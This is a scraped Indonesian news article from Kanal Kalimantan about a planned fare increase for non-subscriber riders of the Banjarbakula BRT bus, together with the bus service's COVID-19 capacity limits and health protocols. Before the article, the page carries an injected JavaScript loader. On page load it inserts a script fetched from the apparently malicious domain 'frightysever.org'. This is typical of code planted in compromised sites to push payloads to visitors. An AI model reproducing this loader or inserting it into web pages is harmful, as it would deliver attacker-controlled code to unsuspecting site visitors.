(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Tarif BRT Banjarbakula Bakal Naik, Ini Penjelasan Dishub Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan (Dishub Kalsel) Kalimantan Selatan (Kalsel) berencana menaikan tarif angkutan Bus Rapid Transit (BRT) Banjarbakula.
Berdasarkan Peraturan Daerah nomor 8 tahun 2020 tentang perubahan keempat atas Peraturan Daerah nomor 6 tahun 2012 tentang retribusi jasa usaha.

Sekretaris Dishub Kalsel, Muhammad Mirhansyah, mengatakan kenaikan tarif tersebut juga sebagai stimulus agar pengguna memanfaatkan transaksi non tunai dalam pembayaran BRT, dikarenakan yang mengalami kenaikan hanya kategori umum non berlangganan.

“Jadi, tujuannya sendiri untuk mengurangi penggunaan karcis dan menghindari penyebaran Covid-19, serta mengurangi limbah lingkungan. Sehingga transaksi non tunai lebih aman,” kata Mirhansyah dikutip dari Media Center Kalsel, Selasa (10/8/2021).

 

 

Baca juga: Perpanjangan PPKM Jadi ‘Pukulan’ Berat Pedagang Pasar Malam di Pasar Ulin Banjarbaru

Sebelumnya, tarif BRT yang berlaku yakni umum non berlangganan Rp 6.000, umum berlangganan Rp5.000, dan pelajar Rp 2.000.

“Jadi, yang kita naikan tarif BRT untuk kategori umum non berlangganan atau memakai karcis. Sedangkan umum berlangganan tarifnya tetap. Ini pun kenaikannya cuma seribu,” ucap Mirhansyah.
Terkait operasional BRT selama pemberlakuan PPKM level 3 dan 4 di Kalsel dalam beberapa minggu terakhir, Mirhansyah mengatakan pihaknya memang sudah melakukan pembatasan kapasitas, sehingga jumlah penumpang mengalami penurunan hingga 60 persen.

“Kapasitas penumpang memang kita turunkan, bukan karena dampak PPKM kapasitas diturunkan. Hal ini untuk menghindari lonjakan kasus Covid-19,” jelas Mirhansyah.

Ia pun mengatakan Dishub Kalsel menerapkan protokol kesehatan (prokes) ketat seperti jaga jarak, menggunakan masker, dan cek suhu tubuh, baik bagi petugas maupun penumpang.

“Kita tidak ingin pegawai dan penumpang terpapar Covid-19, maka dari kita selalu mengedepankan prokes,” kata Mirhansyah. (kanalkalimantan.com/mckalsel)

 

Reporter: mckalsel
Editor : kk


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

18 menit ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

40 menit ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

46 menit ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

1 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

1 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

2 jam ago

This website uses cookies.